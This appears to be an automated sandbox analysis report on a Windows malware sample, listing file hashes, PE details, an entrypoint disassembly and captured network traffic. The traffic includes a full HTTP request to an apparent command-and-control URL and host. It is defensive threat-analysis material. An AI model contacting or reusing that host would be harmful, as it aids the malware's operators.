SHA-512:	268C6AD044318D14509FF2C6BD015A9A4F8ACA9946EDBB8F2323599A9CF0F253477D054838167AF8C6DA393339581B7ED53B32964C413953DF4F7581A489C066
Malicious:	false
Reputation:	low

C:\Users\user\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico
Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	PNG image data, 16 x 16, 4-bit colormap, non-interlaced
Size (bytes):	237
Entropy (8bit):	6.1480026084285395
Encrypted:	false
MD5:	9FB559A691078558E77D6848202F6541
SHA1:	EA13848D33C2C7F4F4BAA39348AEB1DBFAD3DF31
SHA-256:	6D8A01DC7647BC218D003B58FE04049E24A9359900B7E0CEBAE76EDF85B8B914
SHA-512:	0E08938568CD123BE8A20B87D9A3AAF5CB05249DE7F8286FF99D3FA35FC7AF7A9D9797DD6EFB6D1E722147DCFB74437DE520395234D0009D452FB96A8ECE236B
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{F5B32550-C6EC-11E8-A1F8-44AC2DAE138A}.dat
Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	Microsoft Word Document
Size (bytes):	21592
Entropy (8bit):	1.7627604255262714
Encrypted:	false
MD5:	A06D7B4CA86645FD6907B1248E3B4775
SHA1:	6CD6CC371A1B08EE05C14EE8513496A353569982
SHA-256:	037DC37D0382D95D73B98219FEEBF099F1FDC96F8A51B71A13BAE885B9B05D50
SHA-512:	7616DA33EB92F11B6270C1BF746C7E339CB67693A321176DD53E7E98E2E3D7186AC638FB3810B70891F29B775D878B9E1D845411A5220840D0815724D35AABFD
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{F5B32552-C6EC-11E8-A1F8-44AC2DAE138A}.dat
Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	Microsoft Word Document
Size (bytes):	16984
Entropy (8bit):	1.5772396259895078
Encrypted:	false
MD5:	4AA3ABB003514E1CEFC4BD0847C6CBD6
SHA1:	9677A883402ABFFB3D1226223956FB2302D2884D
SHA-256:	2226D184979E293213BED7F088811E4E8E789E3D28211568A6122DF0E50B3C71
SHA-512:	14DDE72B90922243F49AC5E8BE62F4B42C91EFF2A1794D97CE169FA7D0231C1FD57F52E0A173BE3094DD94958A49E4581FE069B9E1FFB40FCFC388BDE9BDF0CC
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\FF8G8DG0\favicon[1].ico
Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	PNG image data, 16 x 16, 4-bit colormap, non-interlaced
Size (bytes):	237
Entropy (8bit):	6.1480026084285395
Encrypted:	false
MD5:	9FB559A691078558E77D6848202F6541
SHA1:	EA13848D33C2C7F4F4BAA39348AEB1DBFAD3DF31
SHA-256:	6D8A01DC7647BC218D003B58FE04049E24A9359900B7E0CEBAE76EDF85B8B914
SHA-512:	0E08938568CD123BE8A20B87D9A3AAF5CB05249DE7F8286FF99D3FA35FC7AF7A9D9797DD6EFB6D1E722147DCFB74437DE520395234D0009D452FB96A8ECE236B
Malicious:	false
Reputation:	low

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
doc.rendes.at	47.254.153.156	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://doc.rendes.at/wpapi/XlhPkWURsPeX9n/KdgCvOhJyTpK7WR6Gbx1E/EGIHNIQTXREQOMps/rPc05MTJOZBIhXE/5m9k63AYGwTnA9kVzH/_2BvJ_2Bu/qT25s_2Bd32_2FwmnoO7/VJJFaK5GX9ndvILO9eE/_2BmLslnLM1_2Bzpzpe8w6/7wEfNRxzT1pne/O97RG4NY/OoJbmGnwE2owDOmHjuVKPJu/as3X3i37Pg/GbArsAQV3tEr4y9/hOi	false		unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Country	Flag	ASN	ASN Name	Malicious
47.254.153.156	United States		45102	CNNIC-ALIBABA-CN-NET-APAlibabaChinaTechnologyCoLtd	false

Private

IP
192.168.2.255

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.528337649042211
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	zbetcheckin_tracker_propan.exe
File size:	183296
MD5:	7e17f0f35d50f49407841372f24fbd38
SHA1:	921ad55a3f593239b906163cf1bb8001194822f3
SHA256:	934c3445fe9d1a3d4cca4d3ec09c9191d8f9067e13e58fa0b288cb520cd40785
SHA512:	8200be71fc9015e9160ce7a3f665a917e058c8ee8753c178f43cf62a519154cafd83125787b565748c9061d9fcbe3c96f65edfa2dbc01c17f0e20f540386a1d1
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......(.."l..ql..ql..qK0.q...qK0.q:..q...qe..ql..q...qK0.qp..qK0.qm..qr..qm..qRichl..q........................PE..L....v.[...........

File Icon

Static PE Info

General
Entrypoint:	0x40ca12
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x5BB076BF [Sun Sep 30 07:09:51 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	65787a6837f68f71463896efdbebc84c

Entrypoint Preview

Instruction
call 00007FBDAD823FE1h
jmp 00007FBDAD820A8Bh
mov eax, dword ptr [esp+04h]
mov dword ptr [00436074h], eax
ret
push ebp
lea ebp, dword ptr [esp-000002A8h]
sub esp, 00000328h
mov eax, dword ptr [0042C4A0h]
xor eax, ebp
mov dword ptr [ebp+000002A4h], eax
push esi
mov dword ptr [ebp+00000088h], eax
mov dword ptr [ebp+00000084h], ecx
mov dword ptr [ebp+00000080h], edx
mov dword ptr [ebp+7Ch], ebx
mov dword ptr [ebp+78h], esi
mov dword ptr [ebp+74h], edi
mov word ptr [ebp+000000A0h], ss
mov word ptr [ebp+00000094h], cs
mov word ptr [ebp+70h], ds
mov word ptr [ebp+6Ch], es
mov word ptr [ebp+68h], fs
mov word ptr [ebp+64h], gs
pushfd
pop dword ptr [ebp+00000098h]
mov esi, dword ptr [ebp+000002ACh]
lea eax, dword ptr [ebp+000002ACh]
mov dword ptr [ebp+0000009Ch], eax
mov dword ptr [ebp-28h], 00010001h
mov dword ptr [ebp+00000090h], esi
mov eax, dword ptr [eax-04h]
push 00000050h
mov dword ptr [ebp+0000008Ch], eax
lea eax, dword ptr [ebp-80h]
push 00000000h
push eax
call 00007FBDAD823FDEh
lea eax, dword ptr [ebp-80h]
mov dword ptr [ebp-30h], eax
lea eax, dword ptr [ebp-28h]
add esp, 0Ch
mov dword ptr [ebp-80h], C000000Dh
mov dword ptr [ebp-74h], esi
mov dword ptr [ebp-2Ch], eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2ab50	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x37000	0x1458	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x18b68	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x17000	0x218	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1562a	0x15800	False	0.545387445494	data	6.51475744719	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x17000	0x146f6	0x14800	False	0.76806640625	data	6.25790724155	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2c000	0xac18	0x1200	False	0.344835069444	data	3.39487152334	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x37000	0x1458	0x1600	False	0.437144886364	data	4.50632518873	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_CURSOR	0x374d8	0x134	data
RT_CURSOR	0x37628	0x134	data
RT_ICON	0x37788	0x568	GLS_BINARY_LSB_FIRST
RT_ICON	0x37cf0	0x468	GLS_BINARY_LSB_FIRST
RT_DIALOG	0x372f0	0xe2	data
RT_DIALOG	0x373d8	0xe2	data
RT_GROUP_CURSOR	0x374c0	0x14	Lotus 1-2-3
RT_GROUP_CURSOR	0x37610	0x14	Lotus 1-2-3
RT_GROUP_ICON	0x37760	0x22	MS Windows icon resource - 2 icons, 16x16, 256-colors
RT_VERSION	0x38158	0x19c	data
RT_MANIFEST	0x382f8	0x15a	ASCII text, with CRLF line terminators

Imports

DLL	Import
USER32.dll	DefWindowProcA, MessageBoxA, DestroyWindow, UpdateWindow, ShowWindow, GetMenu, AdjustWindowRect, EndDialog, InvalidateRect, wsprintfA, SetWindowTextA, DrawMenuBar, BeginPaint, EndPaint, IsIconic, MoveWindow, PostQuitMessage, GetWindowLongA, DialogBoxParamA, LoadStringA, EnableMenuItem, GetWindowRect, SendMessageA, SetWindowPos, PostMessageA, GetMessageA, TranslateMessage, DispatchMessageA, MessageBeep, LoadIconA, LoadCursorA, RegisterClassA, GetSystemMetrics, CreateWindowExA
comdlg32.dll	GetOpenFileNameA
VERSION.dll	GetFileVersionInfoSizeW, VerQueryValueW, GetFileVersionInfoW
KERNEL32.dll	GetDateFormatA, RtlUnwind, InitializeCriticalSection, Sleep, CompareStringA, GetCurrentProcessId, InterlockedDecrement, GetCurrentThreadId, SetLastError, InterlockedIncrement, TlsFree, TlsSetValue, TlsAlloc, TlsGetValue, GetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, IsDebuggerPresent, GetVersionExA, CompareStringW, GlobalFindAtomW, GlobalAddAtomW, GlobalFlags, GetTickCount, GetACP, GetLocaleInfoA, RaiseException, HeapFree, HeapAlloc, GetProcessHeap, GetStartupInfoW, GetSystemTimeAsFileTime, ExitProcess, VirtualAlloc, GetProcAddress, GetModuleHandleA, GetVersion, GetCurrentProcess, WideCharToMultiByte, WriteFile, LoadLibraryA, lstrcpyA, LCMapStringW, MultiByteToWideChar, CreatePipe, GetExitCodeProcess, SetFilePointer, GetDriveTypeA, GetCurrentDirectoryA, CreateFileA, SetEnvironmentVariableW, SetEnvironmentVariableA, WriteConsoleW, GetConsoleOutputCP, WriteConsoleA, IsValidLocale, EnumSystemLocalesA, GetStringTypeW, GetStringTypeA, GetConsoleMode, GetConsoleCP, GetTimeZoneInformation, GetTimeFormatA, QueryPerformanceCounter, VirtualFree, HeapCreate, HeapDestroy, GetStartupInfoA, SetHandleCount, GetCommandLineA, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetEnvironmentStrings, FreeEnvironmentStringsA, GetModuleFileNameA, GetStdHandle, FlushFileBuffers, LCMapStringA, IsValidCodePage, GetOEMCP, GetCPInfo, VirtualQuery, GetSystemInfo, VirtualProtect, HeapSize, GetFileType, SetStdHandle, HeapReAlloc, SetUnhandledExceptionFilter, UnhandledExceptionFilter, TerminateProcess

Version Infos

Description	Data
InternalName	IMSG
FileDescription	Parser
FileVersion	1748
CompanyName	loxlox
Translation	0x0409 0x04b0

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2018 11:16:29.028738976 CEST	55984	53	192.168.2.2	8.8.8.8
Oct 3, 2018 11:16:29.415028095 CEST	53	55984	8.8.8.8	192.168.2.2
Oct 3, 2018 11:16:29.426309109 CEST	49233	80	192.168.2.2	47.254.153.156
Oct 3, 2018 11:16:29.427006006 CEST	49234	80	192.168.2.2	47.254.153.156
Oct 3, 2018 11:16:29.450634956 CEST	80	49233	47.254.153.156	192.168.2.2
Oct 3, 2018 11:16:29.450643063 CEST	80	49234	47.254.153.156	192.168.2.2
Oct 3, 2018 11:16:29.450722933 CEST	49233	80	192.168.2.2	47.254.153.156
Oct 3, 2018 11:16:29.450733900 CEST	49234	80	192.168.2.2	47.254.153.156
Oct 3, 2018 11:16:29.452330112 CEST	49233	80	192.168.2.2	47.254.153.156
Oct 3, 2018 11:16:29.476313114 CEST	80	49233	47.254.153.156	192.168.2.2
Oct 3, 2018 11:16:32.098453045 CEST	50783	53	192.168.2.2	8.8.8.8
Oct 3, 2018 11:16:32.103457928 CEST	51303	53	192.168.2.2	8.8.8.8
Oct 3, 2018 11:16:32.113343000 CEST	53	50783	8.8.8.8	192.168.2.2
Oct 3, 2018 11:16:32.118056059 CEST	53	51303	8.8.8.8	192.168.2.2
Oct 3, 2018 11:16:32.121105909 CEST	55522	53	192.168.2.2	8.8.8.8
Oct 3, 2018 11:16:32.135778904 CEST	53	55522	8.8.8.8	192.168.2.2
Oct 3, 2018 11:16:33.461882114 CEST	59398	53	192.168.2.2	8.8.8.8
Oct 3, 2018 11:16:33.471844912 CEST	55803	53	192.168.2.2	8.8.8.8
Oct 3, 2018 11:16:33.476080894 CEST	53	59398	8.8.8.8	192.168.2.2
Oct 3, 2018 11:16:33.486018896 CEST	53	55803	8.8.8.8	192.168.2.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2018 11:16:29.028738976 CEST	55984	53	192.168.2.2	8.8.8.8
Oct 3, 2018 11:16:29.415028095 CEST	53	55984	8.8.8.8	192.168.2.2
Oct 3, 2018 11:16:32.098453045 CEST	50783	53	192.168.2.2	8.8.8.8
Oct 3, 2018 11:16:32.103457928 CEST	51303	53	192.168.2.2	8.8.8.8
Oct 3, 2018 11:16:32.113343000 CEST	53	50783	8.8.8.8	192.168.2.2
Oct 3, 2018 11:16:32.118056059 CEST	53	51303	8.8.8.8	192.168.2.2
Oct 3, 2018 11:16:32.121105909 CEST	55522	53	192.168.2.2	8.8.8.8
Oct 3, 2018 11:16:32.135778904 CEST	53	55522	8.8.8.8	192.168.2.2
Oct 3, 2018 11:16:33.461882114 CEST	59398	53	192.168.2.2	8.8.8.8
Oct 3, 2018 11:16:33.471844912 CEST	55803	53	192.168.2.2	8.8.8.8
Oct 3, 2018 11:16:33.476080894 CEST	53	59398	8.8.8.8	192.168.2.2
Oct 3, 2018 11:16:33.486018896 CEST	53	55803	8.8.8.8	192.168.2.2

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Oct 3, 2018 11:16:29.028738976 CEST	192.168.2.2	8.8.8.8	0xd536	Standard query (0)	doc.rendes.at	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Oct 3, 2018 11:16:29.415028095 CEST	8.8.8.8	192.168.2.2	0xd536	No error (0)	doc.rendes.at		47.254.153.156	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

doc.rendes.at

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.2	49233	47.254.153.156	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2018 11:16:29.452330112 CEST	1	OUT	GET /wpapi/XlhPkWURsPeX9n/KdgCvOhJyTpK7WR6Gbx1E/EGIHNIQTXREQOMps/rPc05MTJOZBIhXE/5m9k63AYGwTnA9kVzH/_2BvJ_2Bu/qT25s_2Bd32_2FwmnoO7/VJJFaK5GX9ndvILO9eE/_2BmLslnLM1_2Bzpzpe8w6/7wEfNRxzT1pne/O97RG4NY/OoJbmGnwE2owDOmHjuVKPJu/as3X3i37Pg/GbArsAQV3tEr4y9/hOi HTTP/1.1 Accept: text/html, application/xhtml+xml, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: doc.rendes.at Connection: Keep-Alive

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: zbetcheckin_tracker_propan.exe PID: 2384 Parent PID: 2168

General

Start time:	11:14:17
Start date:	03/10/2018
Path:	C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe'
Imagebase:	0x400000
File size:	183296 bytes
MD5 hash:	7E17F0F35D50F49407841372F24FBD38
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: iexplore.exe PID: 2296 Parent PID: 560

General

Start time:	11:16:07
Start date:	03/10/2018
Path:	C:\Program Files\Internet Explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x13ff20000
File size:	814288 bytes
MD5 hash:	446332D1A5576870E436B13AEB27CA8E
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: iexplore.exe PID: 2776 Parent PID: 2296

General

Start time:	11:16:08
Start date:	03/10/2018
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2296 CREDAT:275457 /prefetch:2
Imagebase:	0x260000
File size:	815304 bytes
MD5 hash:	F2831268EC600225F611DC02166EACF0
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report zbetcheckin_tracker_propan.exe

Overview

General Information

Detection

Confidence

Classification

Signature Overview

AV Detection:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Behavior Graph

Simulations

Behavior and APIs

Antivirus Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Yara Overview

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Screenshots

Thumbnails

Startup

Created / dropped Files

Domains and IPs

Contacted Domains

Contacted URLs

Contacted IPs

Public

Private

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: zbetcheckin_tracker_propan.exe PID: 2384 Parent PID: 2168

General

Chronological Activities

Analysis Process: iexplore.exe PID: 2296 Parent PID: 560